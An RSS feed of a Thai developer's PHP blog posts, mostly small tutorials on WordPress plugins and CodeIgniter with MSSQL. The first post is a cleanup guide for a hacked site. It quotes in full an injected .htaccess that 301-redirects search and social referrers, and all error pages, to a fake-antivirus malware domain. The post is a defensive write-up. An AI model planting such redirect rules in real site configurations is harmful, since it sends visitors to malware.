<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>นพ ภิญโญวาณิชกะ &#187; PHP</title>
	<atom:link href="http://www.nop.in.th/category/programming/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nop.in.th</link>
	<description>Nop Pinyowanichaka &#124; ก้าวสั้นๆ ในวันเบาๆ ของผม</description>
	<lastBuildDate>Tue, 29 Nov 2011 06:34:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>การแก้ปัญหาเบื้องต้นจากการโดน Redirect ไปที่ http://seishell-inoa.ru/wings/index.php</title>
		<link>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/</link>
		<comments>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 04:17:36 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=826</guid>
		<description><![CDATA[การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย [...]]]></description>
			<content:encoded><![CDATA[<h3>การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php</h3>
<p>หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว<br />
สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย<br />
<strong>โดยมีสรุป เป็นปีๆ ได้ดังนี้</strong><br />
<a href="http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html" target="_blank">http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html</a><br />
<strong>และอันนี้เป็นอันรวมว่ามีรูรั่วตรงไหนบ้าง<br />
</strong><a href="http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html" target="_blank">http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html</a></p>
<p>ทั้งหมดจะเป็นประเภท XSS หมดเลยครับ</p>
<p><strong>วิธีการแก้ปัญหา </strong><br />
ก่อนทำอะไร Backup DB ไว้ก่อนดีที่สุดครับ</p>
<p>1. จัดการตัวการเจ้าปัญหาเสียก่อน โดยทำการลบ phpMyAdmin version ที่รั่วทิ้ง จากนั้นไป Load Version ใหม่ ได้ที่ <a href="http://www.phpmyadmin.net/home_page/index.php" target="_blank">http://www.phpmyadmin.net/home_page/index.php</a></p>
<p>2. ให้ทำการตรวจสอบข้อมูลใน Table เราก่อนว่ามี Script ที่เกิดจากการใช้ SQL Injection อะไรหรือเปล่า โดยหลักจะผมจะ Search หาคำว่า <strong>&lt;/SCRIPT&gt;, script , java , void</strong> ด้วย Keyword เหล่านี้ แต่หาจากทุก Table ใน ทุกๆ Field ใน Database นั้นๆ (มีเครื่องมือที่ <a href="http://anywhereindb.googlecode.com" target="_blank">http://anywhereindb.googlecode.com</a> เป็นไฟล์ php หรือจะใช้ ค้นหา ใน phpmyadmin ก็ได้ครับ) เมื่อเจอ Code Java ประหลาด ๆ (ที่ไม่ได้เกิดจากที่ App เราเขียนนะครับ) ก็ลบออก<br />
(ใน Case ของผมมี 2 &#8211; 3 จุดครับ แต่ก็ยังไม่หาย ยังคง Redirect ต่อเนื่อง &#8211; -&#8221; คิดว่างานมาละ )</p>
<p><span id="more-826"></span></p>
<p>3. สำหรับ Case ที่ Redirect ไปหน้า http://seishell-inoa.ru/wings/index.php จะเกิดจากการโดนแก้ไข File .htaccess ที่ root Directory ของ Website ของเราโดยจะโดนแก้ไขให้เป็นดังนี้ครับ</p>
<blockquote><p>RewriteEngine On<br />
ErrorDocument 400 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 401 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 403 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 404 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 500 http://seishell-inoa.ru/wings/index.php<br />
RewriteCond %{HTTP_REFERER} .*google.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*qq.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*excite.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*goto.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*search.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*bing.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*blog.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*live.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mail.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ya.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aport.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*flickr.*<br />
RewriteRule ^(.*)$ http://seishell-inoa.ru/wings/index.php [R=301,L]</p></blockquote>
<p>ถ้าเปิดแล้วไม่เจอ ลองเลื่อน Scrollbar ดูทั้ง ด้านข้างและด้านล่างนะครับ เพราะการเขียน Code พวกนี้จะทิ้ง Space ไว้ เพื่อให้เราเปิดไม่เจอด้วย</p>
<p>จาก .htaccess เราจะพบว่า ผู้ใช้คนไหนก็แล้วแต่ที่มาจาก Search engine ต่างๆ หรือ Social Network เข้ามาปุ๊ปให้ Redirect ไปที่ http://seishell-inoa.ru/wings/index.php แบบ 301 (moved to a new location, permanently) และ หน้า Error ที่เกิดขึ้นใน Web ของเราก็ให้ Redirect ไปเช่นกัน<br />
เมื่อเห็นดังนี้แล้วก็ให้ลบ Rewrite Condition ด้านบนทิ้งแล้วก็ Save Upload เก็บไว้ที่เดิมครับ</p>
<p>อันนี้เป็นการแก้ไขปัญหาเบื้องต้นก่อน เพราะว่า ผมยังไม่รู้ว่า ที่มันรั่วมันรั่วมาจาก phpMyAdmin หรือเปล่า ถ้ามี Update จะมาเล่าสุ่กันฟังต่อไปครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>เริ่มต้นง่ายๆ กับการเขียน WordPress Plugins บทที่ 1</title>
		<link>http://www.nop.in.th/programming/php/%e0%b9%80%e0%b8%a3%e0%b8%b4%e0%b9%88%e0%b8%a1%e0%b8%95%e0%b9%89%e0%b8%99%e0%b8%87%e0%b9%88%e0%b8%b2%e0%b8%a2%e0%b9%86-%e0%b8%81%e0%b8%b1%e0%b8%9a%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%82%e0%b8%b5/</link>
		<comments>http://www.nop.in.th/programming/php/%e0%b9%80%e0%b8%a3%e0%b8%b4%e0%b9%88%e0%b8%a1%e0%b8%95%e0%b9%89%e0%b8%99%e0%b8%87%e0%b9%88%e0%b8%b2%e0%b8%a2%e0%b9%86-%e0%b8%81%e0%b8%b1%e0%b8%9a%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%82%e0%b8%b5/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 06:14:50 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[tutor]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/chit-chat/get-start-your-own-wordpress-plugins/</guid>
		<description><![CDATA[เริ่มต้นง่ายๆ กับการเขียน WordPress Plugin บทที่ 1 ว่าจะลองเขียน Plugin ของ WordPress หลายต่อหลายครั้งแล้ว แต่ยังไม่ได้เริ่มเลยสักครั้ง คราวนี้ฤกษ์งามยามดีเพราะว่าต้องทำ Theme ให้ www.iamewery.com แล้วต้องไปแก้ Plugins หลายๆอันเพื่อให้สวยงามพอดีกับ Theme และยังอยากเขียน Plugins ที่สำหรับ ใส่ตัวเก็บสถิติของ Stats.in.th ด้วย (โปรเจ็คถัดไป) วันนี้เลยเอาวิธีเขียน Plugins แบบ ง่ายมาเขียนให้ดูกันครับ ในบทที่ 1 นี้เราจะเริ่มเขียน Plugin ง่ายๆตัวนึง โดยตั้งชื่อว่า WP-ColorClock หน้าที่ของปลั๊กอินอันนี้คือการแสดงวันที่ปัจจุบันในทุกๆ Post ด้วยอักษรสีแดง ให้ทำการสร้าง File ชื่อ wp-colorclock.php ไว้ใน wp-content/plugins จากนั้นเข้าไปแก้ไขไฟล์นี้ด้วย Notepad หรือ Editor อื่นๆตามถนัด แล้วก็ Save จากนั้นเราลอง [...]]]></description>
			<content:encoded><![CDATA[<p><strong>เริ่มต้นง่ายๆ กับการเขียน WordPress Plugin บทที่ 1</strong></p>
<p>ว่าจะลองเขียน Plugin ของ WordPress หลายต่อหลายครั้งแล้ว แต่ยังไม่ได้เริ่มเลยสักครั้ง คราวนี้ฤกษ์งามยามดีเพราะว่าต้องทำ Theme ให้ <a href="http://www.iamewery.com/blog" target="_blank">www.iamewery.com</a> แล้วต้องไปแก้ Plugins หลายๆอันเพื่อให้สวยงามพอดีกับ Theme และยังอยากเขียน Plugins ที่สำหรับ ใส่ตัวเก็บสถิติของ Stats.in.th ด้วย (โปรเจ็คถัดไป) วันนี้เลยเอาวิธีเขียน Plugins แบบ ง่ายมาเขียนให้ดูกันครับ</p>
<p>ในบทที่ 1 นี้เราจะเริ่มเขียน Plugin ง่ายๆตัวนึง โดยตั้งชื่อว่า WP-ColorClock  หน้าที่ของปลั๊กอินอันนี้คือการแสดงวันที่ปัจจุบันในทุกๆ Post ด้วยอักษรสีแดง</p>
<p>ให้ทำการสร้าง File ชื่อ wp-colorclock.php ไว้ใน wp-content/plugins จากนั้นเข้าไปแก้ไขไฟล์นี้ด้วย Notepad หรือ Editor อื่นๆตามถนัด</p>
<pre lang="php"><?php
/*
Plugin Name: WP-ColorClock
Version: 0.1
Description: Plugin Description
Author: Plugin Author Name
Author URI:  Author website url
Plugin URI: Plugins website url
*/
?></pre>
<p><span id="more-635"></span></p>
<p>แล้วก็ Save จากนั้นเราลอง Login เข้าไปที่ Admin Panel ใน Menu Plugins &gt; Installed จะเห็นหน้าจอดังภาพ</p>
<p><img style="max-width: 800px;" src="http://www.nop.in.th/wp-content/uploads/2009/08/plugins-me2.jpg" alt="" /></p>
<p>แต่พอเรา Click Ativate ก็จะไม่เกิดอะไรขึ้นเพราะเรายังไม่ได้เขียนอะไร เรามา เริ่ม Step ถัดไปกัน</p>
<p>เรามาเพิ่ม function showColorClock ใน Plugin ไฟล์ตัวนี้</p>
<pre lang="php">function showColorClock($parse_content){
	$a = current_time('mysql');
	return $parse_content.'

 <font color=red>'.$a.'</font>

';
}</pre>
<p>โดยไปเรียก Function พื้นฐานของ WordPress คือ current_time(&#8216;mysql&#8217;) ก็คือ เอาเวลาปัจจุบันแบบ style mysql มาเข้าตัวแปร $a นั่นเอง<br />
จากนั้น function ก็คืนค่า $parse_content ก็คือเนื้อหาของ Post นั้น  กลับไปพร้อม เวลาในตัวแปร $a</p>
<p>จากนั้นก็จำการแทรกในแต่ละ Post ด้วยคำัสั่ง</p>
<pre lang="php">add_filter('the_content','showColorClock');</pre>
<p>คำสั่ง add_filter เป็น function ในการแทรก Function ต่อจาก &#8216;the_content&#8217; นั่นก็คือ เนื้อความของ Post นั่นเอง</p>
<p>หน้าตาของ Post ก็จะเป็นแบบนี้ครับ</p>
<p><img style="max-width: 800px;" src="http://www.nop.in.th/wp-content/uploads/2009/08/plugins-me.jpg" alt="" /></p>
<p>สำหรับ Plugins ง่ายๆของ WordPress ก็เขียนได้ประการฉะนี้</p>
<p>จบการวิธีการเขียน WordPress Plugins บทที่ 1 ครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/%e0%b9%80%e0%b8%a3%e0%b8%b4%e0%b9%88%e0%b8%a1%e0%b8%95%e0%b9%89%e0%b8%99%e0%b8%87%e0%b9%88%e0%b8%b2%e0%b8%a2%e0%b9%86-%e0%b8%81%e0%b8%b1%e0%b8%9a%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%82%e0%b8%b5/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Codeigniter Activerecord กับ MSSQL แล้ว Error</title>
		<link>http://www.nop.in.th/programming/php/codeigniter-activerecord-%e0%b8%81%e0%b8%b1%e0%b8%9a-mssql-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7-error/</link>
		<comments>http://www.nop.in.th/programming/php/codeigniter-activerecord-%e0%b8%81%e0%b8%b1%e0%b8%9a-mssql-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7-error/#comments</comments>
		<pubDate>Thu, 22 May 2008 06:31:49 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=259</guid>
		<description><![CDATA[เริ่มเอา Codeigniter ที่เป็น PHP Framework มาใช้งาน เนื่องจาก Learning Curve ต่ำๆ ของมัน ทำให้พอถูๆไถๆ ไปกับเค้าได้ แต่ผมว่ามันไม่ค่อย Smooth กับ MSSQL เอาเสียเลย เพราะ แม้ว่า Version ล่าสุดจะออกมาแล้วก็ตามยังไม่สามารถแก้ปัญหา การใช้ ActiveRecord กับ MSSQL ในการ Select ข้อมูลได้เลย สำหรับคนที่ีมีปัญหาเหมือนกัน ผมไปค้นเจอที่ Forum เลยเอามา Post ไ้ว้ จากที่นี่ $this->obj->db->select($filed_result); $this>obj>db>where($filed_get,$keyword); $query = $this>obj->db->get($table_get); ถ้า Select แบบนี้ละก็ Error อย่างไม่ทราบสาเหตุทันที ทั้งๆ ที่ Query ถูก ให้ไปแก้ไข database/drivers/mssql/mssql_driver.php บรรทัดที่ 461 จาก [...]]]></description>
			<content:encoded><![CDATA[<p>เริ่มเอา Codeigniter ที่เป็น PHP Framework มาใช้งาน เนื่องจาก Learning Curve ต่ำๆ ของมัน ทำให้พอถูๆไถๆ ไปกับเค้าได้ แต่ผมว่ามันไม่ค่อย Smooth กับ MSSQL เอาเสียเลย เพราะ แม้ว่า Version ล่าสุดจะออกมาแล้วก็ตามยังไม่สามารถแก้ปัญหา การใช้ ActiveRecord กับ MSSQL ในการ Select ข้อมูลได้เลย สำหรับคนที่ีมีปัญหาเหมือนกัน ผมไปค้นเจอที่ Forum เลยเอามา Post ไ้ว้ จากที่นี่</p>
<pre lang="php">$this->obj->db->select($filed_result);
$this>obj>db>where($filed_get,$keyword);
$query = $this>obj->db->get($table_get);</pre>
<p>ถ้า Select แบบนี้ละก็ Error อย่างไม่ทราบสาเหตุทันที ทั้งๆ ที่ Query ถูก ให้ไปแก้ไข database/drivers/mssql/mssql_driver.php <strong>บรรทัดที่ 461</strong> จาก</p>
<pre lang="php">$item = preg_replace('/(^'.$lbound.')([\w\d\-\_]+?)(\s|\)|$)/iS', '$1"$2"$3', $item);</pre>
<p>เป็น</p>
<pre lang="php">$item = preg_replace('/(^'.$lbound.')([\w\d\-\_]+?)(\s|\)|$)/iS', '$1$2$3', $item);</pre>
<p>บรรทัดที่ 466 จาก</p>
<pre lang="php">return "\"{$item}\"";</pre>
<p>เป็น</p>
<pre lang="php">return "{$item}";</pre>
<p>ก็จะสามารถใช้งาน Activerecord ใน mssql ได้ครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/codeigniter-activerecord-%e0%b8%81%e0%b8%b1%e0%b8%9a-mssql-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ใช้ Pagination ใน Codeigniter กับ MSSQL</title>
		<link>http://www.nop.in.th/programming/php/pagination-with-codeigniter/</link>
		<comments>http://www.nop.in.th/programming/php/pagination-with-codeigniter/#comments</comments>
		<pubDate>Tue, 06 May 2008 12:15:18 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[codeigniter]]></category>
		<category><![CDATA[pagination]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=257</guid>
		<description><![CDATA[ใช้ Pagination ใน Codeigniter กับ ฐานข้อมูล Microsoft SQL (MSSQL) คือผมได้มีโอกาศลองใช้ Codeigniter กับ การเขียน โปรแกรมเรียกดูข้อมูลง่ายๆ จาก MSSQL แต่ติดปัญหาเรื่องการแบ่งหน้าด้วย Pagination ลองค้นๆ ดูใน Forum เค้าให้ไปแก้ไฟล์ \system\database\drivers\mssql\mssql_driver.php ตรงบรรทัด function _limit($sql, $limit, $offset) ให้เป็นแบบนี้ function _limit($sql, $limit, $offset) { // Horrible solucion =) //$i = $limit + $offset; //return preg_replace(&#8216;/(^\SELECT (DISTINCT)?)/i&#8217;,'\\1 TOP &#8216;.$i.&#8217; &#8216;, $sql); $cursorName = &#8216;mi_cursor_&#8217;.md5(strtolower($sql)); $sql = [...]]]></description>
			<content:encoded><![CDATA[<p>ใช้ Pagination ใน Codeigniter กับ ฐานข้อมูล Microsoft SQL (MSSQL)</p>
<p>คือผมได้มีโอกาศลองใช้ Codeigniter กับ การเขียน โปรแกรมเรียกดูข้อมูลง่ายๆ จาก MSSQL แต่ติดปัญหาเรื่องการแบ่งหน้าด้วย Pagination ลองค้นๆ ดูใน Forum เค้าให้ไปแก้ไฟล์</p>
<p>\system\database\drivers\mssql\mssql_driver.php</p>
<p>ตรงบรรทัด function _limit($sql, $limit, $offset) ให้เป็นแบบนี้</p>
<p>function _limit($sql, $limit, $offset)<br />
{<br />
// Horrible solucion =)<br />
//$i = $limit + $offset;<br />
//return preg_replace(&#8216;/(^\SELECT (DISTINCT)?)/i&#8217;,'\\1 TOP &#8216;.$i.&#8217; &#8216;, $sql);<br />
$cursorName = &#8216;mi_cursor_&#8217;.md5(strtolower($sql));<br />
$sql = &#8220;DECLARE &#8220;.$cursorName.&#8221; CURSOR DYNAMIC READ_ONLY FOR<br />
&#8220;.$sql.&#8221;<br />
OPEN &#8220;.$cursorName.&#8221;<br />
DECLARE @CURSOR AS INT<br />
SELECT @CURSOR = CURSOR_HANDLE FROM MASTER.DBO.SYSCURSORS<br />
WHERE CURSOR_NAME = &#8216;&#8221;.$cursorName.&#8221;&#8216;<br />
EXEC SP_CURSORFETCH @CURSOR, 32, &#8220;.($offset+1).&#8221;, &#8220;.$limit.&#8221;<br />
EXEC SP_CURSORCLOSE @CURSOR&#8221;;<br />
return $sql;<br />
}</p>
<p>ก็จะหายครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/pagination-with-codeigniter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cannot modify header information &#8211; headers already sent</title>
		<link>http://www.nop.in.th/programming/php/cannot-modify-header-information-headers-already-sent/</link>
		<comments>http://www.nop.in.th/programming/php/cannot-modify-header-information-headers-already-sent/#comments</comments>
		<pubDate>Fri, 18 Jan 2008 04:05:03 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=228</guid>
		<description><![CDATA[PHP มัน Error แบบนี้ Cannot modify header information &#8211; headers already sent แก้ยังไง มันมี 2 ทางแก้ครับ 1. แก้ที่ php.ini โดย แก้ บรรทัดที่ output_buffering จาก Off ให้เป็น On ซะoutput_buffering = On 2. override config ของ php ด้วย codeโดย ใส่ ob_start(); ไว้บนสุดของ Page ครับ]]></description>
			<content:encoded><![CDATA[<p>PHP มัน Error แบบนี้ </p>
<p><b>Cannot modify header information &#8211; headers already sent</b></p>
<p>แก้ยังไง</p>
<p><b>มันมี 2 ทางแก้ครับ </b></p>
<p><b>1. แก้ที่ php.ini </b><br />โดย แก้ บรรทัดที่ output_buffering จาก Off ให้เป็น On ซะ<br />output_buffering = On </p>
<p><b>2. override config ของ php ด้วย code</b><br />โดย ใส่ ob_start(); ไว้บนสุดของ Page ครับ </p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/cannot-modify-header-information-headers-already-sent/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>function makeurl($param)</title>
		<link>http://www.nop.in.th/programming/php/function-makeurlparam/</link>
		<comments>http://www.nop.in.th/programming/php/function-makeurlparam/#comments</comments>
		<pubDate>Sun, 01 Apr 2007 13:05:08 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=35</guid>
		<description><![CDATA[function makeurl($param) { $replace=str_replace(' ','-',$param); $replace=str_replace('&#38;','and',$replace); $replace=str_replace('/','-',$replace); $replace=str_replace('(','',$replace); $replace=str_replace(')','',$replace); $replace=str_replace('+','',$replace); $replace=str_replace('#','',$replace); $replace=str_replace("'",'-',$replace); $replace=str_replace('"','-',$replace); return $replace; } จะเป็น function ในการ เปลี่ยน &#8211; &#8216; / ( ) # &#8216; &#8221; ให้เป็น &#8211; เพื่อให้เหมาะสมกับการค้นหาของ google]]></description>
			<content:encoded><![CDATA[<pre line="1" lang="php">
function makeurl($param)
{
$replace=str_replace(' ','-',$param);
$replace=str_replace('&amp;','and',$replace);
$replace=str_replace('/','-',$replace);
$replace=str_replace('(','',$replace);
$replace=str_replace(')','',$replace);
$replace=str_replace('+','',$replace);
$replace=str_replace('#','',$replace);
$replace=str_replace("'",'-',$replace);
$replace=str_replace('"','-',$replace);
return $replace;
}</pre>
<p>จะเป็น function ในการ เปลี่ยน &#8211; &#8216; / ( ) # &#8216; &#8221; ให้เป็น &#8211; เพื่อให้เหมาะสมกับการค้นหาของ google</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/function-makeurlparam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

